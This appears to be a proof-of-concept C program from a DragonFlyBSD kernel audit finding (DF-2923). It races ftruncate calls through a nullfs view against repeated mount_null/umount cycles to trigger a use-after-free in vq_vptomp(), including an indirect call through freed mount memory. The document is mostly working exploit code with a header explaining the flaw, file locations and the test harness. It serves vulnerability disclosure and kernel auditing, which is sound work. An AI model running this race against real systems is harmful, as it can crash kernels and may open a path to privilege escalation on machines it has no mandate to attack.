DragonFlyBSD Kernel Audit
DF-2923 / vqpfsrace.c
← back to finding ↓ download raw
/*
 * DF-2923 proof-of-concept: vq_vptomp() check-then-use race on
 * vp->v_pfsmp (sys/kern/vfs_quota.c:420-433).
 *
 * vq_vptomp() validates vp->v_pfsmp only with mountlist_exists(),
 * which takes NO reference on the mount.  If the (nullfs) mount that
 * v_pfsmp points at completes dounmount() between the
 * mountlist_exists() check and the caller's
 *     MP->mnt_op->vfs_account(MP,...)
 * dereference (VFS_ACCOUNT, sys/sys/mount.h:657), the mount structure
 * has already been kfree()'d (vfs_syscalls.c:1107-1118 runs without
 * waiting because our thread holds no mnt_refs) -> use-after-free,
 * including an indirect call through freed memory.
 *
 * Harness (run as root; the racing ftruncate side is what an
 * unprivileged user would run):
 *   - tmpfs mount at /tmp/vqs, a file in it
 *   - null mount of it at /tmp/vqn  (v_pfsmp gets set on the tmpfs
 *     vnode when resolved through the null view; the null mount has
 *     accounting because "null" is in accounting_fstypes)
 *   - child: open the file THROUGH the null view, ftruncate loop
 *     (kern_ftruncate -> vq_vptomp -> VFS_ACCOUNT)
 *   - parent: mount_null/umount loop as fast as possible
 *
 * Usage: vqpfsrace <file-through-null-view> <null-mountpoint> <src-dir>
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/wait.h>
#include <sys/mount.h>

int
main(int argc, char **argv)
{
	const char *file, *nmp, *src;
	pid_t child;
	int fd, i, iter;
	char cmd[512];

	if (argc != 4) {
		fprintf(stderr, "usage: %s <file> <nullmp> <srcdir>\n", argv[0]);
		return 2;
	}
	file = argv[1];
	nmp = argv[2];
	src = argv[3];

	child = fork();
	if (child == 0) {
		off_t sz = 0;
		fd = open(file, O_RDWR | O_CREAT, 0666);
		if (fd < 0) { perror("open"); _exit(1); }
		for (;;) {
			sz ^= 0x100000;		/* flip size up and down */
			if (ftruncate(fd, sz) != 0)
				;		/* null view may be gone */
		}
		_exit(0);
	}
	sleep(1);	/* let the child open the file once */

	for (iter = 0; ; iter++) {
		snprintf(cmd, sizeof(cmd),
		    "mount_null %s %s 2>/dev/null", src, nmp);
		if (system(cmd) != 0)
			continue;
		/* umount immediately: races the child's vq_vptomp */
		snprintf(cmd, sizeof(cmd), "umount %s 2>/dev/null", nmp);
		system(cmd);
		if ((iter % 5000) == 0) {
			printf("iter %d\n", iter);
			fflush(stdout);
		}
	}
	/* NOTREACHED */
}